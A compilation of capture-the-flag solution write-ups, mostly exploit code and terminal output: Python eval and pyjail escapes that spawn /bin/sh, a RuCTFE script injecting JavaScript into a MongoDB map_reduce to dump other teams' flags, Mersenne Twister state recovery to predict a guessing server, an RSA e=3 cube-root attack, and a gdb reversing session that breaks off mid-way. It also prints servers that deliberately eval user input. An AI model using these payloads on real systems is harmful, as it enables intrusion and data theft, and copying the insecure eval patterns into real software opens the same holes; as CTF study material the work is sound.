__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "y"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "m"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + ")"
None; exec __builtins__['x']
ls -lh
total 12K
-rw-r----- 1 root py5  26 Apr 26  2013 flag_for_masters
-rwxr-x--- 1 root py5  59 Apr 27  2013 run.sh
-rwxr-x--- 1 root py5 501 Apr 26  2013 task5.py
cat flag_for_masters
you_are_the_pyeval_master

# PicoCTF 2k13 - Python Eval 4


# cat task4.py 
#!/usr/bin/python -u
# task4.py
from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler
from SocketServer import ForkingMixIn
from cgi import escape
from os import path
from sys import stdin,stdout
import traceback

# Make a simple HTML page from the given content
def makepage(title, content, headers=""):
 return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>%s</title>
%s
</head>
<body>
%s
</body>
</html>
""" % (escape(title), headers, content)

# from urlparse import urlparse, parse_qs
# uri = urlparse(self.path.lstrip('/'))
# filepath = os.path.normpath(uri.path)
# query = parse_qs(uri.query)

# Some URL parsing helper functions
def getPathFromURL(url):
 temp = url.split('/', 1)[1] # Split away the domain name
 return temp.split('?', 1)[0] # Return everything before the query.

def getQueryDictFromURL(url):
 query = None
 temp = url.rsplit('?', 1)
 if len(temp) == 1:
  # No query string!
  query = {}
 else:
  temp = temp[1].rsplit('#', 1)[0] # Split away fragment id
  temp = temp.replace('=', '":"').replace('&', '","') # Turn into python dictonary syntax
  query = eval('{"' + temp + '"}')
  
  # Un-percent encode query items
  for k in query:
   temp = query[k].split('%')
   for i in range(1, len(temp)):
    temp[i] = eval('"\\x' + temp[i][:2] + '"') + temp[i][2:]
   query[k] = ''.join(temp)
 
 return query

# The server
class MyHandler(BaseHTTPRequestHandler):
 # Customize error messages a bit; not important
 def send_error(self, code, message=None):
  self.send_response(code)
  self.send_header('Content-Type', self.error_content_type)
  self.end_headers()
  content = "<h1>%d %s</h1>" % (code, self.responses[code][0] if message == None else message)
  self.wfile.write(makepage("Error %d" % code, content))
 
 # This is the main function
 def do_GET(self):
  try:
   
   # Parse the URL
   filepath = getPathFromURL(self.path)
   query = getQueryDictFromURL(self.path)
   
   if not path.exists(filepath):
    # Non-existent file!
    self.send_error(404)
   
   elif filepath in ('index.html', 'stage1.html', 'stage2.html', 'stage3.html', 'stage4.html'):
    self.send_response(200)
    self.send_header('Content-type','text/html')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
   
   elif filepath=='task4.py':
    self.send_response(200)
    self.send_header('Content-type','text/plain')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
    
   else:
    # Now allowed!
    self.send_error(403)
  
  except:
   # Show people the mess they caused!
   self.send_response(500)
   self.send_header('Content-type','text/html')
   self.end_headers()
   from sys import exc_type
   self.wfile.write(makepage("Traceback %s" % str(exc_type), "<pre>%s</pre>" % escape(traceback.format_exc())))

# To make it easier to play around with this, we'll communicate over stdin/stdout
# like the other exercises instead of listening and forking like a real server.
# A program external to this script handles turning it into a network service.

class MyStdioHandler(MyHandler):
  def __init__(self):
    MyHandler.__init__(self, None, 'derp', None)
  def setup(self):
    self.rfile = stdin
    self.wfile = stdout
  def log_message(format, *args):
    pass

MyStdioHandler()

#
# Instead of the above ~10 lines of code, the following turns this
# script into a server on its own.
#
# Serves multiple requests at the same time
# class ForkingHTTPServer(ForkingMixIn, HTTPServer):
#   timeout = 10
#   max_children = 1000
#
# if __name__ == "__main__":
#   server = ForkingHTTPServer(('', 6364), MyHandler)
#   try:
#     print "Server started on port {0.server_port}, press <Ctrl-C> to exit.".format(server)
#     server.serve_forever()
#   except KeyboardInterrupt:
#     pass
#   finally:
#     server.server_close()
#   print "Server closed."
# nc python.picoctf.com 6364
GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"

ls -l
total 56
-rw-r----- 1 root py4   457 Apr 26  2013 index.html
-rwxr-x--- 1 root py4    59 Apr 27  2013 run.sh
-rw-r----- 1 root py4  8191 Apr 26  2013 stage1.html
-rw-r----- 1 root py4  8676 Apr 26  2013 stage2.html
-rw-r----- 1 root py4 15230 Apr 26  2013 stage3.html
-rw-r----- 1 root py4  1282 Apr 26  2013 stage4.html
-rw-r----- 1 root py4    33 Apr 26  2013 super_awesome_flag
-rwxr-x--- 1 root py4  3870 Apr 26  2013 task4.py
cat super_awesome_flag
kids_dont_code_like_this_at_home

# PicoCTF 2k13 - Python Eval 3


$ cat task3.py
#!/usr/bin/python -u
# task3.py
# Remember kids: this is bad code. Try not code like this :P

from os import path
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['reload']

print "Welcome to the food menu!"
choices = (
  ("Chicken Asada Burrito", 7.69, "caburrito.txt"),
  ("Beef Chow Mein", 6.69, "beefchow.txt"),
  ("MeatBurger Deluxe", 10.49, "no description"),
  # ...
)

def print_description(n):
  print ""
  if n >= len(choices):
    print "No such item!"
  elif not path.exists(choices[n][2]):
    print "No description yet, but we promise it's tasty!"
  else:
    print open(choices[n][2]).read()

def show_menu():
  for i in xrange(len(choices)):
    print "[% 2d] $% 3.2f %s" % (i, choices[i][1], choices[i][0])

while True:
  print "Which description do you want to read?"
  show_menu()
  print_description(input('> '))
$ nc python.picoctf.com 6363
Welcome to the food menu!
Which description do you want to read?
[ 0] $ 7.69 Chicken Asada Burrito
[ 1] $ 6.69 Beef Chow Mein
[ 2] $ 10.49 MeatBurger Deluxe
> path.warnings.catch_warnings.__init__.func_globals['linecache'].__dict__['os'].system('/bin/sh')
> path.os.execlp('sh','')
id
uid=1004(py3) gid=1005(py3) groups=1005(py3)
ls
run.sh
task3.py
your_flag_here
cat your_flag_here
eval_is_super_OSsome

# PHDays CTF Quals 2k14 - Yet Another Pyjail (3900 points)


# cat jail.py
import re
import sys
import string
from sys import stdout
sys.stderr = stdout

sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()

alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re

def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]

part1_of_flag = '7hE_0w15_4R3_n07_wh47_7h3Y_533m-'
part2_of_flag = '-7hEr3_15_4_m4n_1n_a_5m111n9_649'
egg = 'egg'

def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()

    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break

    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):

            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider

        exec_in_context({'div': divider})

    sandbox()

if __name__ == '__main__':
    main()
# python jail.py
leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

f = div(1)
nf = type(div)(f.func_code, type({})(EXPECTED=1, int=type(1)), closure=f.func_closure)
nf(1)
---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
f = div(1337)
nf = type(div)(f.func_code, type({})(EXPECTED=13.37, int=type(1.)), closure=f.func_closure)
nf(100)
---
f = div(1)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: int, f.func_code.co_names[1]: 1}, closure=f.func_closure)
nf(1)
---
f = div(1337)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: type(1.), f.func_code.co_names[1]: 13.37}, closure=f.func_closure)
nf(100)
---
#div.func_closure[8].cell_contents()
#div.func_closure[9].cell_contents()
#---
def get_cell_value(cell):
 return type(lambda: 0)(
  (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
 )()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---

# 30C3 2k13: Numbers - Guess (100 points)


The challenge

Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888

# wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz
# tar xvzf guess.tar.gz
server.py
# cat server.py
#!/usr/bin/env python2
import socket
import random
import sys
import os
import signal

flag ="foobar"

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8888))
s.listen(10)
while 1:
        c, _ = s.accept()
        if c is None:
                sys.exit(1)
        if os.fork() == 0:
                del s
                break
        del c

c.sendall("Welcome to this little guessing game!\n")
r = random.Random()
r.seed(os.urandom(16))
guess_limit = 10
guess_right = 0
data = ""
while 1:
        answer = str(r.getrandbits(64))
        c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit))
        while "\n" not in data:
                cur = c.recv(4096)
                if not cur:
                        sys.exit(0)
                data += cur
        guess, data = data.split("\n", 1)
        if guess != answer:
                guess_right = 0
                c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
                continue
        guess_right += 1
        if guess_right < guess_limit:
                c.sendall("Yes! That was correct, awesome...\n")
                continue
        c.sendall("You did it! The flag is: %s" % flag)
        sys.exit(0)
# cat reverse.py
L = 32
N = 624
M = 397
UM = 2**31
LM = UM - 1

def unBitshiftRightXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = (shiftmask << (L - shift)) >> (shift * i)
                part = value & partmask
                value ^= (part >> shift) & mask
                result |= part
                i += 1
        return result

def BitshiftRightXor(value, shift, mask):
        pmask = (value >> shift) & mask
        result = value ^ pmask
        return result

def unBitshiftLeftXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = shiftmask << (shift * i)
                part = value & partmask
                value ^= (part << shift) & mask
                result |= part
                i += 1
        return result


def BitshiftLeftXor(value, shift, mask):
        pmask = (value << shift) & mask
        result = value ^ pmask
        return result

def untransform(value):
        value = unBitshiftRightXor(value, 18, 0xffffffff)
        value = unBitshiftLeftXor(value,  15, 0xefc60000)
        value = unBitshiftLeftXor(value,   7, 0x9d2c5680)
        value = unBitshiftRightXor(value, 11, 0xffffffff)
        return value

def MTwister(sv, ndx):
        ndx = ndx % N
        y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM)
        sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1)
        if y & 0x1:
                sv[ndx] ^= 0x9908b0df
        rn = sv[ndx]
        rn = BitshiftRightXor(rn, 11, 0xffffffff)
        rn = BitshiftLeftXor(rn,   7, 0x9d2c5680)
        rn = BitshiftLeftXor(rn,  15, 0xefc60000)
        rn = BitshiftRightXor(rn, 18, 0xffffffff)
        return rn

def getrandbits(sv, ndx, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        result = 0
        for i in range(0, bytes, 4):
                random = MTwister(sv, ndx + (i / 4))
                if bits < 32:
                        random = random >> (32 - bits)
                r.append( random        & mask)
                r.append((random >>  8) & mask)
                r.append((random >> 16) & mask)
                r.append((random >> 24) & mask)
                bits = bits - 32
        j = 0
        for b in r:
                result = (b << (8 * j)) | result
                j += 1
        return result, (i / 4) + 1

# getstatebits works OK when bits % 32 == 0
def getstatebits(sv, value, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        for i in range(0, bytes, 4):
                if bits < 32:
                        value = value << (32 - bits)
                j = 32 * (i/4)
                r.append((value >>  j)       & mask)
                r.append((value >> (j +  8)) & mask)
                r.append((value >> (j + 16)) & mask)
                r.append((value >> (j + 24)) & mask)
                bits = bits - 32
                result = 0
                j = 0
                for b in r:
                        result = (b << (8 * j)) | result
                        j += 1
                sv.append(untransform(result))
                del r[:]
        return (i / 4) + 1
# cat guess.py
#!/usr/bin/python

import netlib
import re
import sys
from reverse import *

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip    = sys.argv[1]
port  = sys.argv[2]
proto = sys.argv[3]

N = 624
L = 64

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        data = sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        i = 0
        sv = []
        while i < N:
                if sc.send("\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                answer = re.findall(r'[0-9]{5,}', data)
                for a in answer:
                        r = getstatebits(sv, int(a), L)
                        print i, a
                        i += r
        data = sc.recv(buffsize, timeout)
        mt, r = getrandbits(sv, i, L)
        i += r
        while True:
                mt, r = getrandbits(sv, i, L)
                i += r
                print 'Sending = \'' + str(mt) + '\''
                if sc.send(str(mt) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data
# python guess.py 88.198.89.194 8888 tcp
...
You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107

Update

# cat guess.py
...
import random
...
        data = sc.recv(buffsize, timeout)
        sv.append(1337)
        r = random.Random()
        r.setstate((3, tuple(sv), None))
        r.getrandbits(L)
        while True:
                n = r.getrandbits(L)
                print 'Sending = \'' + str(n) + '\''
                if sc.send(str(n) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data

References

http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c

# RuCTFE 2k13: Taxi


Vulnerable code

# cat taxi.py
...
def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    return list(res.find())
...

Exploit

# cat exploit.py
#!/usr/bin/python

import httplib
import urllib
import re
import sys

def taxi_exploit(ip, username):
    port = 8081
    query= '/add_admin/?admin=' + username
    conn = httplib.HTTPConnection(ip, port)
    conn.request('POST', query)
    resp = conn.getresponse()
    hmac = resp.getheader('set-cookie')

    js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('")
    query= '/amount/?user=' + username + '&admin=' + js_injection
    headers = {"Cookie": hmac}
    conn.request('GET', query, '', headers)
    resp = conn.getresponse()
    data = resp.read()

    conn.close()

    flags = []
    for flag in re.findall('[A-Za-z0-9=]{32}', data):
        flags.append(flag)

    for i in flags:
        print i

ip = sys.argv[1]
username = sys.argv[2]

taxi_exploit(ip, username)
# ./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`

Patch

# cat taxi.py
...
def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())
...

Complete code

# cat taxi.py
#!/usr/bin/python
import urlparse
import os
import random
import string
import hmac
import hashlib
import os.path
import json
import re

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from pymongo import collection
from pymongo import Connection
from datetime import datetime
from bson.code import Code

DBNAME = 'taxi'
COLNAME = 'orders'
USERS = 'users'
KEY_FILE = 'key'


def connect_db(dbname):
    c = Connection()
    return c[dbname]

def generate_id():
    abc = string.ascii_lowercase + string.digits
    res = ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    return res


def add(amount, admin, user, route, col):
    generated_id = generate_id()
    return add_by_id(generated_id, amount, admin, user, route, col)


def add_by_id(id, amount, admin, user, route, col):
    rid = col.insert(
        {"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route})
    print rid
    return rid


def get_by_id(id, col):
    found = col.find_one({"_id": id})
    return dict(found)


def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())


def view_all(col, admin_name):
    res = col.find({"admin": admin_name}).sort("date")
    return list(res)


def r_replace(s, old, new, occurrence):
    li = s.rsplit(old, occurrence)
    return new.join(li)


def dict_to_str(dic):
    d = {}
    for i in dic:
        d[i] = str(dic[i])
    return json.dumps(d)


def try_create_user(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        user = p['user'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is None:
            return "Admin does not  exist", ""
        user_exists = col.find_one({"user": user})
        if user_exists is not None:
            return "User already exists", ""
        id = col.insert({"admin": admin, "user": user})
        if id:
            return "Success", user
        else:
            return "Can't create new user", ""
    except KeyError:
        return "You have to set [admin], [user] and [pswd] parameters in order to register new user", ""


def try_create_admin(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is not None:
            return "Admin already exists", ""
        id = col.insert({"admin": admin, "user": admin})
        if id:
            return "Success", admin
        else:
            return "Can't create new admin", ""
    except KeyError:
        return "You have to set [admin] parameter in order to register new admin", ""


def get_hmac(message):
    try:
        key = file(KEY_FILE).read()
        return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest()
    except:
        return None


class MonHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            p = urlparse.parse_qs(parsed.query)
            user = p['user'][0]

            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if 'cookie' not in self.headers:
                print "no cookie sent"
                self.send_error(401)
                return
            print self.headers['cookie']
            c = self.headers['cookie']
            r = re.search("hm=([^;]+)", c)
            if not r:
                print "no hmac sent"
                self.send_error(401)
                return

            h_mac = r.group(1)

            if h_mac != get_hmac(user):
                self.send_error(401)
                return

            if action == 'route':
                if 'id' in p:
                    r_id = p['id'][0]
                    res = get_by_id(r_id, col)
                    result_doc = dict_to_str(res)
                    self.send_response(200)
                    self.send_header('Content-type', 'text-html')
                    self.end_headers()
                    self.wfile.write(result_doc)
                    return
                else:
                    self.send_response(400)
                    return
            elif action == 'routes':
                admin = p['admin'][0]
                result_doc = view_all(col, admin)
            elif action == 'amount':
                admin = p['admin'][0]
                result_doc = mr_test(col, admin)
                print result_doc
            else:
                self.send_response(405)
                return

            self.send_response(200)
            self.send_header('Content-type', 'text-html')
            self.end_headers()
            for doc in result_doc:
                self.wfile.write(json.dumps(doc))
                self.wfile.write("\n")
            return

        except Exception as e:
            print str(e)
            self.send_error(404)

    def do_POST(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if action == 'add_user':
                res, user = try_create_user(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(user))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_admin':
                res, admin = try_create_admin(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(admin))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_route':
                if 'cookie' not in self.headers:
                    print "no cookie sent"
                    self.send_error(401)
                    return
                print self.headers['cookie']
                c = self.headers['cookie']
                r = re.search("hm=([^;]+)", c)
                if not r:
                    print "no hmac sent"
                    self.send_error(401)
                    return

                h_mac = r.group(1)
                p = urlparse.parse_qs(parsed.query)
                user = p['user'][0]

                if h_mac != get_hmac(user):
                    self.send_error(401)
                    return

                try:
                    amount = float(p['amount'][0])
                except ValueError:
                    self.send_response(400)
                    return

                admin = p['admin'][0]
                route = p['route'][0]
                o_id = p.get('id', [""])[0]
                print "params: " + o_id + "; " + str(amount)
                if o_id == "":
                    result = add(amount, admin, user, route, col)
                else:
                    result = add_by_id(o_id, amount, admin, user, route, col)
                self.send_header('Content-type', 'text-html')
                self.end_headers()
                self.wfile.write(result)
                if result is not None:
                    self.send_response(200)
                else:
                    self.send_error(501)
                return
            else:
                self.send_error(405)
                return

        except Exception as e:
            print str(e)
            self.send_error(500)


def gen_key_if_not_exists():
    if os.path.isfile(KEY_FILE):
        return
    length = 256
    chars = string.ascii_letters + string.digits + '!@#$%^&*()'
    random.seed = (os.urandom(1024))
    key = ''.join(random.choice(chars) for i in range(length))
    try:
        open(KEY_FILE, 'w').write(key)
    except:
        print "Can't create key file"
        return


def run():
    print 'taxi service is starting...'
    server_address = ('0.0.0.0', 8081)
    httpd = HTTPServer(server_address, MonHTTPRequestHandler)
    print 'Welcome to our taxi service!'
    print 'You can order trips, view your users\' routes and monitor your riding costs'
    print 'Please notice that we charge you extra 10% VAT according to our Ural state laws'
    gen_key_if_not_exists()
    httpd.serve_forever()


if __name__ == '__main__':
    run()

# rwthCTF 2k13 - smartgrid


# cat grid.pub
-----BEGIN PUBLIC KEY-----
MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA0pbD0fyDY0sVLMBlEN+g
iGIHjY5KdCTKn722qjmOK6J7Y8r8JDpu01YXmroDjtjy0FAk1C2+ofdZIoVVqms3
8kuXnUOziSHuhK3fpPZbh560G5t7KDBIH6mQ3h0xiLaJpaZClL1QFE7OPFvIexnO
nJoBQbU2R9hpUVRJ18XmgAwCfilNlD6tgp1Ewlou3cPvWP5S2YvfiBPzn0/kSgmP
mx5vABDacygL8BqCSWW7tKRhSXtzAqarve6qOaAjW9JOcyrnmHQEyzahaFIUBpob
OnMFQT1gBPZ/J9bdRUy+OGllYXzaua8/+wuCNAXOJYd43h2QRfl25ULNqyd5zZcE
+hIJtVdoAy3Qdw4zOLqeeo+YPnBR/5rV3R8rFG20yHp3adnHocPyV2uo987vtP4U
pt6URFyI8x2wvTpscjMHWdAQ8vq804OPnagXz0j0Rgw9+BvyD1StiaZHIlYUT0u4
PHG1ynG1solOx1O9jn9aBTTks/0jZGUy+Romgh3Wqfawivnc2Lry5hwCHwMz5NZ+
xoatZlyzd6NCyFcSROctIo4Qw5V0FIbFpx5RNjwNQ4cQvYcKHjmwTwQWiL+6MOWu
GRKIOABJcAXGBnpPUQKAP6JFuORxqD5h1tOQhk1T2ef1FbwKJIwgsVAlGIJNkEq1
G+sEadzv1qowDAbkEFKTKT0CAQM=
-----END PUBLIC KEY-----
# openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('
Public-Key: (4096 bit)
Exponent: 3 (0x3)
# ipython
: import gmpy
: message = 2**1024
: modulus = gmpy.mpz(2**4096)
: cube_root = modulus.root(3)[0]
: if message < cube_root:
    print "Go!"
Go!
# cat netlib.py
import socket
import time

# Socket Client
class sc:
        def __init__(self, host, port, layer4):
                self.host = host
                self.port = int(port)
                self.layer4 = layer4

        def connect(self, max_retries, pause):
                if self.layer4 == "tcp":
                        socket_type = socket.SOCK_STREAM
                elif self.layer4 == "udp":
                        socket_type = socket.SOCK_DGRAM
                self.socket = socket.socket(socket.AF_INET, socket_type)
                retries = 0
                while True:
                        try:
                                self.socket.connect((self.host, self.port))
                                return True
                        except:
                                retries += 1
                                if retries == max_retries:
                                        print "Unable to connect."
                                        return False
                                time.sleep(pause)

        def send(self, data):
                try:
                        count = self.socket.send(data)
                except:
                        print "Unable to send data."
                        return False

                if count == len(data):
                        return True
                else:
                        print "Unable to send all data."
                        return False

        def recv(self, buffsize, timeout):
                data = None
                self.socket.settimeout(timeout)
                try:
                        data = self.socket.recv(buffsize)
                except socket.timeout:
                        print "Receive timeout"
                except:
                        print "Unexpected exception while receiving"
                self.socket.settimeout(None)
                return data

        def close(self):
                self.socket.close()
# cat smartgrid.py
#!/usr/bin/python

import gmpy
import hashlib
import netlib
import sys
import time

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]

def cube_root_attack(message):
        # if e = 3 and m < n**1/3 then c = m**3
        m = gmpy.mpz(message)
        cube_root= m.root(3)[0]
        sha = hashlib.sha256()
        sha.update(str(cube_root))
        return sha.hexdigest()

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        break

        if sc.send("help\r\n") == False:
                sys.exit()
        help = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        help += data[:-1]
                        break
                else:
                        help += data

        if help.find("readstatus") == -1: # Is admin mode active?
                if sc.send("admin\r\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                if data == None:
                        sys.exit()
                challenge = data.split('=')[1]
                solution = cube_root_attack(int(challenge))
                if sc.send("answer=" + solution + "\r\n") == False:
                        sys.exit()
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                break

        if sc.send("listconsumers" + "\r\n") == False:
                sys.exit()
        listconsumers = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        listconsumers += data[:-2]
                        break
                else:
                        listconsumers += data
        listconsumers = listconsumers[15:-2]
        listconsumers = listconsumers.replace("'","")
        uuids = listconsumers.split(", ")
        uuids.reverse()

        for i in range(30):
                if sc.send("readstatus " + uuids[i] + "\r\n") == False:
                        sys.exit()
                result = ""
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                result += data[:-2]
                                break
                        else:
                                result += data
                pos = result.find("status=")
                status = result[pos+7:pos+23]
                pos = result.find("tstamp=")
                tstamp = result[pos+7:pos+17]
                if int(time.time()) - int(tstamp) < 15 * 60: # Last 15 minutes
                        print status # Flag
        sc.close()
# ./smartgrid.py 10.22.x.1 21721 tcp
References

http://h4des.org/blog/index.php?/archives/339-rwthCTF-2013-smartgrid-write-up.html

# NcN CTF 2k13: Canada (Base - 1200 pts)


# gunzip howtobasic.gz
# file howtobasic
howtobasic: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x1a8f284f3d67ad66c7510bc5353556e8a01db18b, stripped
# chmod +x howtobasic
# gdb --quiet ./howtobasic
(gdb) set disassembly-flavor intel
(gdb) info file
        Entry point: 0x80481c0
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: ^C
Program received signal SIGINT, Interrupt.
0xf7ffd430 in __kernel_vsyscall ()
(gdb) finish
1234567890
0x080577a2 in ?? ()
(gdb) finish
0x0806d9a6 in ?? ()
(gdb) finish
0x08049b26 in ?? ()
(gdb) finish
0x0804932d in ?? ()
(gdb) finish
0x08049435 in ?? ()
(gdb) finish
0x0804906b in ?? ()
(gdb) finish
0x080483b6 in ?? ()
(gdb) finish
Sorry, that is not correct.
(gdb) b *0x080483b6
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: 1234567890

(gdb) x/2i 0x080483b6
=> 0x80483b6:   test   eax,eax
   0x80483b8:   jne    0x80483f5
(gdb) x/s $eax
0x80d5298:      "1234567890\n"
(gdb) b *0x80483f5
(gdb) continue
(gdb) x/3i 0x080483f5
=> 0x80483f5:   push   eax
   0x80483f6:   xor    eax,eax
   0x80483f8:   je     0x80483fd
(gdb) b *0x80483fd
(gdb) continue
(gdb) x/2i 0x080483fd
=> 0x80483fd:   pop    eax
   0x80483fe:   jmp    0x8048486
(gdb) b *0x8048486
(gdb) continue
